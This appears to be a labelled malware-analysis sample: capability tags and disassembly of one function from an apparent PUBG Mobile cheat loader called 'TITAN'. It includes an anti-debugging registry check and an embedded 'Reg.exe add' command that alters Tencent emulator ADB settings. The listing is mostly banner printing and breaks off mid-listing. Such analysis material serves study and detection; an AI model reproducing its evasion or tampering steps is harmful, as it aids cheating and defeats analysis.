Function at 0x4569c0
Capabilities:
Create process on windows
Delete file
Download url
Enumerate processes
Execute command
Persist via windows service
Query or enumerate registry value
Receive data
Self delete
Set console window title
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c682c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x440
mov eax, dword [0x64ebc0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00456710
lea eax, [ebp - 0x34]
mov dword [ebp - 0x30], 0
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x34], 4
push eax
push 0
push 0x18
push str.DebuggerFlag
push str.SOFTWAREDebugging
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x456a4b
cmp dword [ebp - 0x30], eax
setne al
test al, al
je 0x456a4b
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.004564a0
call fcn.00456000
call fcn.00456000
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x51
movups xmmword [ecx], xmm0
push str.Reg.exe_add_HKCUSoftwareTencentMobileGamePC__v_AdbDisable__t_REG_DWORD__d_0__f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00460400
call fcn.004522c0
xorps xmm0, xmm0
lea edx, [ebp - 0x50]
add esp, 0x10
movq qword [ebp - 0x40], xmm0
movups xmmword [ebp - 0x50], xmm0
call fcn.0046cd60
mov ecx, dword [0x687a94]
xorps xmm0, xmm0
mov eax, dword [0x687a90]
add esp, 8
mov dword [ebp - 0x74], ecx
lea ecx, [ebp - 0x80]
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], str.Version:_3.3
mov dword [ebp - 0x80], str.Playing_PUBGM_3.3__Mobile_Server_
mov dword [ebp - 0x64], str.Enjoy
mov dword [ebp - 0x68], str.https:__i.imgur.com_XL7hU3h.png
mov dword [ebp - 0x5c], str.Hehe
mov dword [ebp - 0x60], str.https:__media.giphy.com_media_v1.Y2lkPTc5MGI3NjExZnczM2F3MDNrODZrYWMzZHphbjNxZ2hqMDdoM3dmbG14dmFuNHNmbCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9cw_ICENHgoUzcM6JIkhx1_giphy.gif
call fcn.0046d300
push str.Welcome_To_TITAN
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, eax
lea eax, [ebp - 0xb0]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x1f4
push 0x320
push dword [ebp - 0xb0]
push dword [ebp - 0xac]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xa
push 0x450400
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push ecx
mov edx, str._n__________________n_________n_____________________n_______________________n__________________________________n___________________________________
mov ecx, eax
call fcn.0045f410
add esp, 4
push eax
call fcn.0045fd10
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
mov edx, 0x63ab68
call fcn.0045f410
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov edx, 0x63ab68
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov edx, 0x63ab68
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 5
call esi
push 0x14
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63ab50
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450460
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._APP_VERSION_:
mov ecx, eax
call fcn.0045f410
cmp dword [0x656788], 0xf
mov edx, 0x656774
push dword [0x656784]
cmova edx, dword [0x656774]
mov ecx, eax
call fcn.004648d0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x4504f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n_GAME_VERSION_:_3.3__n
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450430
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._DEV_:__BODY_n
mov ecx, eax
call fcn.0045f410
push 0xa
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x450400
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x63a71a
mov ecx, eax
call fcn.0045f410
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov edx, 0x63ab68
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
call fcn.0045f410
push 5
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x63ab68
